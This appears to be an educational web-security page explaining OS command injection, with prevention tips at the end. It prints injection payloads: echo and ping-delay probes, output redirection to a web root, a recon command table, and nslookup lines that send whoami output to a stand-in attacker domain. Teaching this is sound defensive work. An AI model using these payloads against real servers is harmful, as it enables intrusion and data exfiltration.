๐Ÿ›ก๏ธ OS Command Injection (Shell Injection)

What is OS Command Injection?

OS command injection is a critical vulnerability that allows an attacker to execute arbitrary operating system commands on the server running the application. This can lead to full system compromise and lateral movement within the infrastructure.

๐Ÿง  How It Works

Applications that pass user input directly into shell commands without proper sanitization are vulnerable. Attackers can inject shell metacharacters to execute additional commands.

๐Ÿ’ฌ Example Scenario

A shopping app checks stock using a shell command:


bash stockreport.pl 381 29

An attacker submits:


& echo aiwefwlguh &

Resulting in:


bash stockreport.pl & echo aiwefwlguh & 29

Output

Error - productID was not provided  
aiwefwlguh  
29: command not found  

This confirms that the injected command (echo aiwefwlguh) was executed.

๐Ÿงช Useful Recon Commands

PurposeLinuxWindows
Current userwhoamiwhoami
OS versionuname -aver
Network configifconfigipconfig /all
Network connectionsnetstat -annetstat -an
Running processesps -eftasklist

๐Ÿ•ต๏ธโ€โ™‚๏ธ Blind OS Command Injection

๐Ÿ•’ Time Delay Detection


bash & ping -c 10 127.0.0.1 &

This causes a 10-second delay, confirming command execution based on response time.

๐Ÿ“ค Output Redirection


bash & whoami > /var/www/static/whoami.txt &

Then access:


https://vulnerable-website.com/whoami.txt

๐ŸŒ Out-of-Band (OAST) Interaction


bash & nslookup kgji2ohoyw.web-attacker.com &

To exfiltrate data:


bash & nslookup `whoami`.kgji2ohoyw.web-attacker.com &

๐Ÿงฌ Injection Techniques

๐Ÿ”ง Command Separators

SeparatorPlatforms
&, &&, `, `Unix & Windows
;, \nUnix only

๐Ÿ”ง Inline Execution (Unix)

  • Backticks: `command`
  • Dollar syntax: $(command)

๐Ÿงฉ Quoted Contexts

If input is inside quotes, terminate the quote (", ') before injecting commands.

๐Ÿ›ก๏ธ Prevention Tips

Best Practices

  • Avoid using shell commands with user input
  • Use safe APIs or libraries instead of shell calls
  • Sanitize and validate all inputs
  • Apply least privilege to application processes
  • Monitor and log command execution

๐Ÿ”— Resources